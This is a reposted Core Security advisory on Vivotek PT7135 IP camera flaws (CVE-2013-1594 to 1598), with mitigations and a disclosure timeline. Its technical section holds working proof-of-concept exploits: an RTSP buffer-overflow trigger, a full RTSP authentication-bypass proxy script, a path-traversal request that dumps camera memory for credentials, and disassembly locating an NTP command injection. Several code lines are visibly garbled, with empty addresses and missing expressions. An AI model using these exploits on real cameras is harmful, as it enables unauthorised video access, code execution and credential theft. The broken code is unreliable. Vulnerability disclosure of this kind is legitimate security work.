Vivotek IP Camera Buffer Overflow / Disclosure / Injection 1.0

Suffers from information leaks, buffer overflows, authentication and injection

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  1. Mr. Penguin
    Core Security Technologies Advisory - Vivotek IP Cameras suffer from information leak, buffer overflow, authentication, path traversal, and command injection vulnerabilities. Vulnerable are Vivotek PT7135 IP camera with firmware 0300a, Vivotek PT7135 IP camera with firmware 0400a, and possibly others.

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    Core Security - Corelabs Advisory Vivotek IP Cameras Multiple Vulnerabilities 1. *Advisory Information* Title: Vivotek IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0301 Advisory URL: Date published: 2013-04-29 Date of last update: 2013-04-29 Vendors contacted: Vivotek Release mode: User release 2. *Vulnerability Information* Class: Information leak through GET request [CWE-598], Buffer overflow [CWE-119], Authentication issues [CWE-287], Path traversal [CWE-22], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1594, CVE-2013-1595, CVE-2013-1596, CVE-2013-1597, CVE-2013-1598 3. *Vulnerability Description* Multiple vulnerabilities have been found in Vivotek IP cameras [1] (and potentially cameras from other vendors sharing the affected firmware) that could allow an unauthenticated remote attacker: 1. [CVE-2013-1594] to process GET requests that contain sensitive information, 2. [CVE-2013-1595] to execute arbitrary code, 3. [CVE-2013-1596] to access the video stream via RTSP, 4. [CVE-2013-1597] to dump the camera's memory and retrieve user credentials, 5. [CVE-2013-1598] to execute arbitrary commands from the administration web interface (pre-authentication with firmware 0300a and post-authentication with firmware 0400a). 4. *Vulnerable Packages* . Vivotek PT7135 IP camera with firmware 0300a. . Vivotek PT7135 IP camera with firmware 0400a. . Other Vivotek cameras/firmware are probably affected too, but they were not checked. 5. *Non-Vulnerable Packages* Vendor did not provide details. Contact Vivotek for further information. 6. *Vendor Information, Solutions and Workarounds* There was no official answer from Vivotek after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information. Some mitigation actions may be: . Do not expose the camera to internet unless absolutely necessary. . Filter RTSP traffic (default port 554) if possible. . Have at least one proxy filtering '/../../' and 'getparam.cgi' in HTTP requests. . Filter strings in the parameter 'system.ntp' on every request made to the binary 'farseer.out'. 7. *Credits* [CVE-2013-1594] was originally discovered and reported [2] by Alejandro Leon Morales [3] and re-discovered on new firmware versions by Flavio De Cristofaro from Core Security. [CVE-2013-1595] and [CVE-2013-1596] were discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC of [CVE-2013-1596] was made by Martin Rocha with help of Juan Cotta from Core QA Team. [CVE-2013-1597] and [CVE-2013-1598] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* 8.1. *Information leak through GET request* [CVE-2013-1594] Several Vivotek cameras store Wireless keys and 3rd party credentials in clear text allowing a remote attacker to obtain sensitive information which might be valuable to perform further attacks. Sensitive information stored in plain text includes: . FTP credentials . Share folder credentials . SMTP credentials . WEP / WPA Keys . DynDNS credentials . credentials . TZO credentials, among others. The following GET requests can exploit the vulnerability (requests may change according to firmware versions and vendors devices): /----- -----/ 8.2. *Remote Buffer Overflow* [CVE-2013-1595] The following Python script can be used to trigger the vulnerability. This script will send to the RTSP service a specially crafted packet with the header field 'Authorization' fully completed with the character 'a' (0x61). As a result, the Instruction Pointer register (IP) will be overwritten with 0x61616161, which is a typical buffer overrun condition. /----- import socket, base64 cam_ip = '' session_descriptor = 'live.sdp' request = 'DESCRIBE rtsp://%s/%s RTSP/1.0\r\n' % (cam_ip, session_descriptor) request+= 'CSeq: 1\r\n' request+= 'Authorization: Basic %s\r\n' request+= '\r\n' auth_little = 'a' * 1000 auth_big = 'a' * 10000 msgs = [request % auth_little, request % auth_big] for msg in msgs: s = socket.socket() s.connect((cam_ip, 554)) print s.send(msg) print s.recv(0x10000) s.close() -----/ 8.3. *RTSP Authentication Bypass* [CVE-2013-1596] This vulnerability is triggered by sending specially crafted RTSP packets to remote TCP port 554 of a Vivotek PT7135 camera. As a result, the video stream can be accessed by an unauthenticated remote attacker. /----- import sys from socket import * from threading import Thread import time, re LOGGING = 1 def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s) class UDPRequestHandler(Thread): def __init__(self, data_to_send, recv_addr, dst_addr): Thread.__init__(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr def run(self): sender = socket(AF_INET, SOCK_DGRAM) sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) sender.sendto(self.data_to_send, self.dst_addr) response = sender.recv(1024) sender.sendto(response, self.recv_addr) sender.close() class UDPDispatcher(Thread): dispatchers = [] def __has_dispatcher_for(self, port): return any([d.src_port == port for d in UDPDispatcher.dispatchers]) def __init__(self, src_port, dst_addr): Thread.__init__(self) if self.__has_dispatcher_for(src_port): raise Exception('There is already a dispatcher for port %d' % src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self) def run(self): listener = socket(AF_INET, SOCK_DGRAM) listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) listener.bind(('', self.src_port)) while 1: try: data, recv_addr = listener.recvfrom(1024) if not data: break UDPRequestHandler(data, recv_addr, self.dst_addr).start() except Exception as e: print e break listener.close() UDPDispatcher.dispatchers.remove( self ) class PipeThread(Thread): pipes = [] def __init__(self, source, sink, process_data_callback=lambda x: x): Thread.__init__(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self) def run(self): while 1: try: data = self.source.recv(1024) data = self.process_data_callback(data) if not data: break self.sink.send( data ) except Exception as e: log(e) break PipeThread.pipes.remove(self) class TCPTunnel(Thread): def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.__init__(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5) def run(self): while 1: # Wait until a new connection arises newsock, address = self.sock.accept() # Create forwarder socket fwd = socket(AF_INET, SOCK_STREAM) fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) fwd.connect(self.dst_addr) # Pipe them! PipeThread(newsock, fwd, self.process_data_callback).start() PipeThread(fwd, newsock, self.process_data_callback).start() class Camera(): def __init__(self, address): self.address = address def get_describe_data(self): return '' class Vivotek(Camera): # Vivotek PT7135/0400a def __init__(self, address): Camera.__init__(self, address) def get_describe_data(self): return 'v=0\r\no=RTSP 836244 0 IN IP4\r\ns=RTSP server\r\nc=IN IP4\r\nt=0 0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video 0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96 MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio 0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97 mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n' class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559' def __init__(self, local_port, camera): self.last_describe_req = '' = camera self.local_port = local_port def start(self): log('[!] Starting bypasser') TCPTunnel(self.local_port,, self.spoof_rtsp_conn).start() def spoof_rtsp_conn(self, data): if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data: self.last_describe_req = data elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and self.last_describe_req: log('[!] Unauthorized response received. Spoofing...') spoofed_describe = # Look for the request CSeq m ='.*CSeq:\\s*(\\d+?)\r\n.*', self.last_describe_req) cseq = if m else RTSPAuthByPasser.DEFAULT_CSEQ # Create the response data = 'RTSP/1.0 200 OK\r\n' data+= 'CSeq: %s\r\n' % cseq data+= 'Content-Type: application/sdp\r\n' data+= 'Content-Length: %d\r\n' % len(spoofed_describe) data+= '\r\n' # Attach the spoofed describe data+= spoofed_describe elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m ='.*%s\\s*(.+?)[;|\r].*' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.split('-')) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, ([0], udp_port)).start() except: pass return data if __name__ == '__main__': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]' -----/ 8.4. *User Credentials Leaked via Path Traversal* [CVE-2013-1597] The following Python code exploits a path traversal and dumps the camera's memory. Valid user credentials can be extracted from this memory dump by an unauthenticated remote attacker (firmware 0300a). The same attack is still valid with firmware 0400a but the user has to be authenticated in order to exploit this flaw. /----- import httplib conn = httplib.HTTPConnection("") conn.request("GET", "/../../../../../../../../../proc/kcore") resp = conn.getresponse() data = -----/ 8.5. *OS Command Injection* [CVE-2013-1598] The command injection is located in the binary file 'farseer.out' in the parameter 'system.ntp': /----- .text:0000CB34 MOV R1, R4 .text:0000CB38 LDR R0, =aCmdporcessStar ; "[CmdPorcess] Start sync with NTP server %s"... .text:0000CB3C ADD R10, SP, #0x144+var_120 .text:0000CB40 BNE loc_CB68 [...] .text:0000CB68 BL .printf .text:0000CB6C LDR R2, =aSS_0 ; "%s%s" .text:0000CB70 LDR R3, =aUsrSbinPsntpda ; "/usr/sbin/psntpdate -4fr " .text:0000CB74 MOV R1, #0xFF ; maxlen .text:0000CB78 MOV R0, R10 ; s .text:0000CB7C STR R4, [SP,#0x144+var_144] .text:0000CB80 BL .snprintf .text:0000CB84 MOV R0, R10 ; command .text:0000CB88 BL .system -----/ 9. *Report Timeline* . 2013-03-06: Core Security Technologies notifies the Vivotek Customer Support of the vulnerability (tracking ID CRM:00930113) and requests a security manager to send a draft report regarding these vulnerabilities. No reply received. . 2013-03-11: Core asks for a security manager to send a confidential report. . 2013-03-14: Core notifies the Vivotek Technical Support of the vulnerability (tracking ID CRM:00930485). . 2013-03-18: Core opens a new ticket in the Vivotek Technical Support (tracking ID CRM:00930670). . 2013-03-21: Core asks for a reply regarding the tracking ID CRM:00930485. . 2013-04-24: Core tries to contact vendor for last time without any reply. . 2013-04-29: After 6 failed attempts to report the issues, the advisory CORE-2013-0301 is published as 'user-release'. 10. *References* [1] [2] [3] Alejandro Leon Morales [Gothicx] 11. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: 13. *Disclaimer* The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at